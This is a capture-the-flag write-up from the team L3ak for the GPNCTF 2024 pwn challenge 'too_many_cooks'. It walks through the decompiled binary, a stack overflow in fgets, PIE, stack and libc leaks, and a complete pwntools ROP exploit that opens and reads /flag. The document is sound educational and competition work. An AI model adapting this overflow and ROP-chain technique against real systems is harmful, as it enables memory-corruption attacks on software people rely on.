This weekend our team L3ak played GPNCTF 2024 we placed 4 (by 3 points )

Pwn Challenge too_many_cooks [Hard]

The main function calls the dinner function which does all the work/

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [rsp+Ch] [rbp-14h]
  int v6; // [rsp+10h] [rbp-10h]
  int v7; // [rsp+14h] [rbp-Ch]

  v3 = time(0LL);
  srand(v3);
  setbuf(_bss_start, 0LL);
  v5 = fcntl(0, 1);
  fcntl(0, 2, v5 | 1u);
  v6 = fcntl(1, 1);
  fcntl(1, 2, v6 | 1u);
  v7 = fcntl(2, 1);
  fcntl(2, 2, v7 | 1u);
  dinner();
  return 0;
}

dinner()

__int64 dinner()
{
  __int64 result; // rax
  int v1; // [rsp+0h] [rbp-40h]
  int v2; // [rsp+4h] [rbp-3Ch]
  char s1[6]; // [rsp+Ah] [rbp-36h] BYREF
  char v4[14]; // [rsp+10h] [rbp-30h] BYREF
  char v5[8]; // [rsp+1Eh] [rbp-22h] BYREF
  char v6[26]; // [rsp+26h] [rbp-1Ah] BYREF

  strcpy(s1, "pizza");
  strcpy(v5, "gulasch");
  strcpy(v4, "burger");
  strcpy(v6, "leek_soup");
  strcpy(&v4[7], "desert");
  printf(
    "Welcome to our dining hall! Please select a dish:\n"
    "-[%s] A nice and fresh pizza\n"
    "-[%s] It's GPN, it's night and I'm programming. The only thing missing is a hot plate of gulasch!\n"
    "-[%s] Borgir!\n"
    "-[%s] A deliciously hearty leek soup. Yum!\n"
    "-[%s] Give me my dessert! \\o/\n"
    "Enter the string in the brackets for your selection: ",
    s1,
    v5,
    v4,
    v6,
    &v4[7]);
  fgets(&v6[10], 4096, stdin);
  v2 = strlen(&v6[10]);
  if ( v6[v2 + 9] == 10 )
    v6[v2 + 9] = 0;
  v1 = 0;
  if ( !strcmp(s1, &v6[10]) )
  {
    result = serve_pizza();
  }
  else if ( !strcmp(v5, &v6[10]) )
  {
    result = serve_gulasch();
  }
  else if ( !strcmp(v4, &v6[10]) )
  {
    result = serve_burger();
  }
  else if ( !strcmp(v6, &v6[10]) )
  {
    result = serve_leek();
  }
  else
  {
    if ( !strcmp(&v4[7], &v6[10]) )
    {
      puts("You don't want to starve, don't you? Well now you will!");
      exit(1);
    }
    result = desert();
    v1 = 1;
  }
  if ( !v1 )
    return desert();
  return result;
}

The serve_pizza() , serve_gulasch() and serve_burger() functions just print ascii art. The function serve_leek is more interesting

serve_leek()

unsigned __int64 serve_leek()
{
  int i; // [rsp+0h] [rbp-90h]
  int v2; // [rsp+4h] [rbp-8Ch]
  __int64 v3; // [rsp+8h] [rbp-88h]
  __int128 v4; // [rsp+20h] [rbp-70h]
  __int128 v5; // [rsp+30h] [rbp-60h]
  __int128 v6; // [rsp+40h] [rbp-50h]
  __int128 v7; // [rsp+50h] [rbp-40h]
  __int128 v8; // [rsp+60h] [rbp-30h]
  unsigned __int64 v9; // [rsp+78h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  for ( i = 0; i <= 9; ++i )
  {
    v3 = rand();
    *((_QWORD *)&v4 + i) = (rand() * v3) & 0xFFFFFFFFFFFFLL;
  }
  v2 = rand() % 10;
  *((_QWORD *)&v4 + v2) = serve_leek;
  printf(aWaitThatDoesnT, (unsigned int)v2, v4, v5, v6, v7, v8);
  return v9 - __readfsqword(0x28u);
}

the serve_leek function basically allows us to leak the PIE base of the binary. But its interesting how its presented to us.

So the first argument to printf is the offset of our PIE leak we can use that offset to get our leak …. during the ctf i didnt notice that…..LOL… i thought the leak was just at a random offset between random values so my big brain decided to run serve_leek twice and compare the two output and find a common numbers which will hopefully be the leak….

Vulnerabilities

There is a bufferoverflow in the fgets call where we try to read 0x1000 bytes into a buffer of 26 bytes ….

__int64 dinner()
{
  __int64 result; // rax
  int v1; // [rsp+0h] [rbp-40h]
  int v2; // [rsp+4h] [rbp-3Ch]
  char s1[6]; // [rsp+Ah] [rbp-36h] BYREF
  char v4[14]; // [rsp+10h] [rbp-30h] BYREF
  char v5[8]; // [rsp+1Eh] [rbp-22h] BYREF
  char v6[26]; // [rsp+26h] [rbp-1Ah] BYREF
  .
  .
  fgets(&v6[10], 4096, stdin);

}

Intended Solution

The intended solution was to use the functions below to execute and 2 byte instruction…to get a libc leak and read the flag from “/flag”.

serve()

unsigned __int64 serve()
{
  _BYTE *addr; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+18h] [rbp-18h]

  v2 = __readfsqword(0x28u);
  addr = mmap(0LL, 3uLL, 2, 34, 0, 0LL);
  if ( !dish_index )
    exit(1);
  *addr = kitchen[(unsigned __int8)dish_index - 1];
  addr[1] = kitchen[(unsigned __int8)dish_index];
  addr[2] = '\xC3'; // ret instruction
  mprotect(addr, 3uLL, 4);
  ((void (__fastcall *)(_QWORD, _QWORD, _QWORD))addr)(
    *(_QWORD *)&kitchen[8],
    *(_QWORD *)&kitchen[16],
    *(_QWORD *)&kitchen[24]);
  munmap(addr, 3uLL);
  return v2 - __readfsqword(0x28u);
}

We can use heat() and cool() to increment or decremenet the value of kitchen variable… and use salt() and pepper() function to change other to change dish_index

My Solution

I decided to take a different approach instead of using the serve() function i just ropped my way across the binary to first get a stack leak then use that stack leak to get a libc leak and then open("/flag") and read the value into .bss and call puts !

Getting PIE Leak

from pwn import *
import re
context.log_level="debug"

def find_common_substrings_of_length(buffer1, buffer2, target_length):
    str1 = buffer1.decode('utf-8', errors='ignore')
    str2 = buffer2.decode('utf-8', errors='ignore')
    
    table = [[0] * (len(str2) + 1) for _ in range(len(str1) + 1)]
    common_substrings = set()

    for i in range(1, len(str1) + 1):
        for j in range(1, len(str2) + 1):
            if str1[i - 1] == str2[j - 1]:
                table[i][j] = table[i - 1][j - 1] + 1
                if table[i][j] == target_length:
                    common_substr = str1[i - table[i][j]:i]
                    common_substrings.add(common_substr)
    common_substrings_bytes = {s.encode('utf-8') for s in common_substrings}
    return common_substrings_bytes

# find_common_substrings_of_length() does exactly what it says it finds common  substrings of a specified length from 2 buffers. 

def clean_byte_string(input_bytes):
    input_string = input_bytes.decode('utf-8', errors='ignore')
    pattern = r'[%\n\s#\-\*\+]'
    cleaned_string = re.sub(pattern, '', input_string)
    cleaned_bytes = cleaned_string.encode('utf-8')
    return cleaned_bytes

# clean_byte_string() is used to remove all the useless characters from the leak

p=process(b"./too_many_cooks_patched")
elf = ELF(b"./too_many_cooks")
libc=ELF(b"./libc.so.6")
p.sendlineafter(b"your selection: ",b"leek_soup") 
pause()

p.recvuntil(b"%%%%%%%%%%% %::::::::%%1%%%%%%")
buff1 = p.recvuntil(b"%%%%%%%%%%%%%%%%%%%%%%%%%%%") # get leak -  1st time 

p.sendlineafter(b"your selection: ",b"main")
p.sendlineafter(b"your selection: ",b"leek_soup")

p.recvuntil(b"%%%%%%%%%%% %::::::::%%1%%%%%%")
buff2 = p.recvuntil(b"%%%%%%%%%%%%%%%%%%%%%%%%%%%") # get leak -  2nd time 
 

print(clean_byte_string(buff1)) # remove unneccesary characters 
print(clean_byte_string(buff2))
buff1 = clean_byte_string(buff1)
buff2 = clean_byte_string(buff2)

ret = find_common_substrings_of_length(buff1,buff2,15) 

# there are multiple common substrings in the 2 buffers but we know our leak always ends with 0x7e so we check for that
for i in ret:                              
    if(int(i)& 0xff==0x7e):
        print(i)
        leak=int(i)

print(hex(leak))

TLDR : we call the serve_leek function twice and compare the outputs and match the common values . The value which has lowest byte 0x7e is our leak

Getting Stack Leak

We Just call printf() by using the buffer overflow and return to Main

We See that $rdi has a Stack Address

Getting Libc Leak

This is kinda where things get interesting there were no apparent ways to leak LIBC by looking at the disassembly …. but looking at the assembly things change….

looking at the part where menu is printed in the dinner() function

pwndbg> x/20i 0x00005a4800e8fbed
   0x5a4800e8fbed:	lea    rdi,[rbp-0x29]
   0x5a4800e8fbf1:	lea    rsi,[rbp-0x1a]
   0x5a4800e8fbf5:	lea    rcx,[rbp-0x30]
   0x5a4800e8fbf9:	lea    rdx,[rbp-0x22]
   0x5a4800e8fbfd:	lea    rax,[rbp-0x36]
   0x5a4800e8fc01:	mov    r9,rdi
   0x5a4800e8fc04:	mov    r8,rsi
   0x5a4800e8fc07:	mov    rsi,rax
   0x5a4800e8fc0a:	lea    rax,[rip+0x863f]        # 0x5a4800e98250
   0x5a4800e8fc11:	mov    rdi,rax
   0x5a4800e8fc14:	mov    eax,0x0
   0x5a4800e8fc19:	call   0x5a4800e8f190 <printf@plt>
   0x5a4800e8fc1e:	mov    rdx,QWORD PTR [rip+0xa40b]        # 0x5a4800e9a030
   0x5a4800e8fc25:	lea    rax,[rbp-0x10]
   0x5a4800e8fc29:	mov    esi,0x1000
   0x5a4800e8fc2e:	mov    rdi,rax
   0x5a4800e8fc31:	call   0x5a4800e8f1b0 <fgets@plt>
   0x5a4800e8fc36:	lea    rax,[rbp-0x10]
   0x5a4800e8fc3a:	mov    rdi,rax
   0x5a4800e8fc3d:	call   0x5a4800e8f150 <strlen@plt>
pwndbg>

also this is the first argument of printf()

printf(
    "Welcome to our dining hall! Please select a dish:\n"
    "-[%s] A nice and fresh pizza\n"
    "-[%s] It's GPN, it's night and I'm programming. The only thing missing is a hot plate of gulasch!\n"
    "-[%s] Borgir!\n"
    "-[%s] A deliciously hearty leek soup. Yum!\n"
    "-[%s] Give me my dessert! \\o/\n"
    "Enter the string in the brackets for your selection: ",
    s1,
    v5,
    v4,
    v6,
    &v4[7]);

we see that arguments to printf() are taken based of the $rbp which we can control ( we overwrite rbp during the bufferoverflow )

so all we need to do to get a libc leak is point rbp-0x29 || rbp-0x1a … to a stack address which contains a libc pointer and jump to this particular part to get a libc leak !


read_addr=stack_leak-0x20-0x500+0x278 #  addr on stack which  contains a libc pointer

p1=b"aaaaaaaabaaaaaaacaaa"
p1+=p64(read_addr+8*6+1)
p1+=p64(base+0x000000000001BED) # call to lea rdi,[rbp-0x29]......
p1+=b"A"*20                              # random AAAAAAAAAAAAAAAAAAAAAA
print(hex(read_addr))
p.sendlineafter(b"your selection: ",b"pizza")
p.sendlineafter(b"your selection: ",b"main\x00"+p1) 
p.sendafter(b"your selection: ",b"cake\n") # trigger buffer overflow


p.recvuntil(b"Yum!")
p.recvuntil(b"[")
libc_leak = u64(p.recv(6).ljust(8,b"\0")) # recv libc leak
print(hex(libc_leak))
libc_base=libc_leak - 0x1bdc0
print(hex(base))

Final Stage

Finally we create a ORW Payload (Open Read Write) to read contents of /flag into the .bss and write it to stdout.

Final Exploit



from pwn import *
import re
context.log_level="debug"
def find_common_substrings_of_length(buffer1, buffer2, target_length):
    str1 = buffer1.decode('utf-8', errors='ignore')
    str2 = buffer2.decode('utf-8', errors='ignore')
    
    table = [[0] * (len(str2) + 1) for _ in range(len(str1) + 1)]
    common_substrings = set()

    for i in range(1, len(str1) + 1):
        for j in range(1, len(str2) + 1):
            if str1[i - 1] == str2[j - 1]:
                table[i][j] = table[i - 1][j - 1] + 1
                if table[i][j] == target_length:
                    common_substr = str1[i - table[i][j]:i]
                    common_substrings.add(common_substr)
    
    common_substrings_bytes = {s.encode('utf-8') for s in common_substrings}
    
    return common_substrings_bytes



def clean_byte_string(input_bytes):
    input_string = input_bytes.decode('utf-8', errors='ignore')
    pattern = r'[%\n\s#\-\*\+]'
    cleaned_string = re.sub(pattern, '', input_string)
    cleaned_bytes = cleaned_string.encode('utf-8')
    return cleaned_bytes

p=process(b"./too_many_cooks_patched")
elf = ELF(b"./too_many_cooks")
libc=ELF(b"./libc.so.6")
p.sendlineafter(b"your selection: ",b"leek_soup")
pause()

p.recvuntil(b"%%%%%%%%%%% %::::::::%%1%%%%%%")
buff1 = p.recvuntil(b"%%%%%%%%%%%%%%%%%%%%%%%%%%%")

p.sendlineafter(b"your selection: ",b"main")
p.sendlineafter(b"your selection: ",b"leek_soup")

p.recvuntil(b"%%%%%%%%%%% %::::::::%%1%%%%%%")
buff2 = p.recvuntil(b"%%%%%%%%%%%%%%%%%%%%%%%%%%%")




print(clean_byte_string(buff1))
print(clean_byte_string(buff2))
buff1 = clean_byte_string(buff1)
buff2 = clean_byte_string(buff2)

ret = find_common_substrings_of_length(buff1,buff2,15)
for i in ret:
    if(int(i)& 0xff==0x7e):
        print(i)
        leak=int(i)

print(hex(leak))

base  = leak - 0x177e
p.sendlineafter(b"your selection: ",b"main")

p1=b"aaaaaaaabaaaaaaacaaaaaaadaaa"
p1+=p64(base+0x000000000000101a)
p1+=p64(base+elf.symbols['printf'])
p1+=p64(base+elf.symbols['main'])

p.sendlineafter(b"your selection: ",b"pizza")
p.sendlineafter(b"your selection: ",b"main\x00"+p1)
p.sendlineafter(b"your selection: ",b"cake")

a=p.recvuntil(b"\x7f")


stack_leak = u64((a[-6:-1]+b"\x7f").ljust(8,b'\0'))

print(hex(stack_leak))

read_addr=stack_leak-0x20-0x500+0x278

p1=b"aaaaaaaabaaaaaaacaaa"
p1+=p64(read_addr+8*6+1)
p1+=p64(base+0x000000000001BED)
p1+=b"A"*20
print(hex(read_addr))
p.sendlineafter(b"your selection: ",b"pizza")
p.sendlineafter(b"your selection: ",b"main\x00"+p1)
p.sendafter(b"your selection: ",b"cake\n")


p.recvuntil(b"Yum!")
p.recvuntil(b"[")
libc_leak = u64(p.recv(6).ljust(8,b"\0"))
print(hex(libc_leak))
libc_base=libc_leak-0x1bdc0
print(hex(libc_base))



pop_rdi = libc_base+0x000000000010f75b
pop_rsi = libc_base+0x000000000002b46b
pop_rdx_4=libc_base+0x00000000000b502c

p1=b"A"*929
p1+=p64(pop_rdx_4) # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
p1+=p64(base+0xc020+100) 
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(libc_base+0x00000000000dd237) # pop rax ; ret 
p1+=b"//flag\x00\x00" 
p1+=p64(libc_base+0x000000000003ba60) # mov qword ptr [rdx], rax ; ret
p1+=p64(pop_rdi)  # pop rdi ; ret 
p1+=p64(base+0xc085)
p1+=p64(pop_rsi) # pop rsi + pop rbp ; ret
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(libc_base+libc.symbols['open'])  
p1+=p64(pop_rdi)  
p1+=p64(0x3)  # fd of the  file opened
p1+=p64(pop_rsi) #  pop rsi + pop rbp ; ret
p1+=p64(base+0xc020+120) # .bss 
p1+=p64(0x0) 
p1+=p64(pop_rdx_4) # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
p1+=p64(0x1000)
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(libc_base+libc.symbols['read']) #  read(3,.bss,0x1000)
p1+=p64(pop_rdi) #  pop rdi ; ret
p1+=p64(base+0xc020+120) #  .bss with flag
p1+=p64(libc_base+libc.symbols['puts']) # 


print(hex(pop_rdx_4))

p.sendlineafter(b"your selection: ",b"apple\x00"+p1)

p.interactive()


# GPNCTF{4aahhh_th3_l33k_t4st3_0f_v1ct0ry!}

We Win !!!

Me Happy